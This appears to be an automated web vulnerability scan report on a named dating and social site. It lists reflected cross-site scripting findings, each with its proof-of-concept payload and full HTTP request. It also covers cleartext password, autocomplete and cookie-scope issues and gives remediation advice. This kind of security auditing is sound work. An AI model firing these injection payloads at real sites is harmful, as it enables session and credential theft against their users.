Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.humaniplex.com/blogs/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/blogs/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e8053'><script>alert(1)</script>337ba0eeb0a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/?e8053'><script>alert(1)</script>337ba0eeb0a=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.8.10.1303159302; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4
1.2. http://www.humaniplex.com/classifieds/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/classifieds/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1db1d'><script>alert(1)</script>a70fef5bec3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /classifieds/?1db1d'><script>alert(1)</script>a70fef5bec3=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.7.10.1303159302
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ff3a1'><script>alert(1)</script>bef842c1ec5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /clubs/listff3a1'><script>alert(1)</script>bef842c1ec5 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.7.10.1303159302
1.4. http://www.humaniplex.com/clubs/list [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/clubs/list
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a3bdb'><script>alert(1)</script>78c80f6d488 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /clubs/list?a3bdb'><script>alert(1)</script>78c80f6d488=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.7.10.1303159302
1.5. http://www.humaniplex.com/flirts/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/flirts/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4577f'><script>alert(1)</script>f119a4c3c72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /flirts/?4577f'><script>alert(1)</script>f119a4c3c72=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.6.10.1303159302
1.6. http://www.humaniplex.com/index.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/index.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d34d8'><script>alert(1)</script>9d998f23ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.html?d34d8'><script>alert(1)</script>9d998f23ed=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Referer: http://www.humaniplex.com/tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.1.10.1303159302; cookie_accepted_site_tos=1
1.7. http://www.humaniplex.com/mingle [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/mingle
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 65acc'><script>alert(1)</script>d61298a3855 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /mingle?65acc'><script>alert(1)</script>d61298a3855=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.5.10.1303159302
1.8. http://www.humaniplex.com/mingle/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/mingle/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a8927'><script>alert(1)</script>7ffae16d95f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mingle/?a8927'><script>alert(1)</script>7ffae16d95f=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.5.10.1303159302
1.9. http://www.humaniplex.com/profiles/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/profiles/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f84fa'><script>alert(1)</script>5b0a33ae281 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /profiles/?f84fa'><script>alert(1)</script>5b0a33ae281=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.4.10.1303159302
The value of the qs request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d1547"%3balert(1)//7a625e9c18e was submitted in the qs parameter. This input was echoed as d1547";alert(1)//7a625e9c18e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1sd1547"%3balert(1)//7a625e9c18e HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4
The value of the qs request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8840f'><script>alert(1)</script>597271a5404 was submitted in the qs parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s8840f'><script>alert(1)</script>597271a5404 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Referer: http://www.humaniplex.com/tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; cookie_js=y
1.12. http://www.humaniplex.com/user_tools/forgot_password/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/user_tools/forgot_password/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4a388'><script>alert(1)</script>362c067777e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /user_tools/forgot_password/?4a388'><script>alert(1)</script>362c067777e=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.3.10.1303159302
1.13. http://www.humaniplex.com/user_tools/join/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.humaniplex.com
Path:
/user_tools/join/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fef86'><script>alert(1)</script>18e63addf2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /user_tools/join/?fef86'><script>alert(1)</script>18e63addf2c=1 HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.2.10.1303159302
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /blogs/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.8.10.1303159302; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /classifieds/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.7.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clubs/list HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.7.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /flirts/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.6.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.html HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Referer: http://www.humaniplex.com/tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.1.10.1303159302; cookie_accepted_site_tos=1
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mingle/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.5.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /profiles/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.4.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
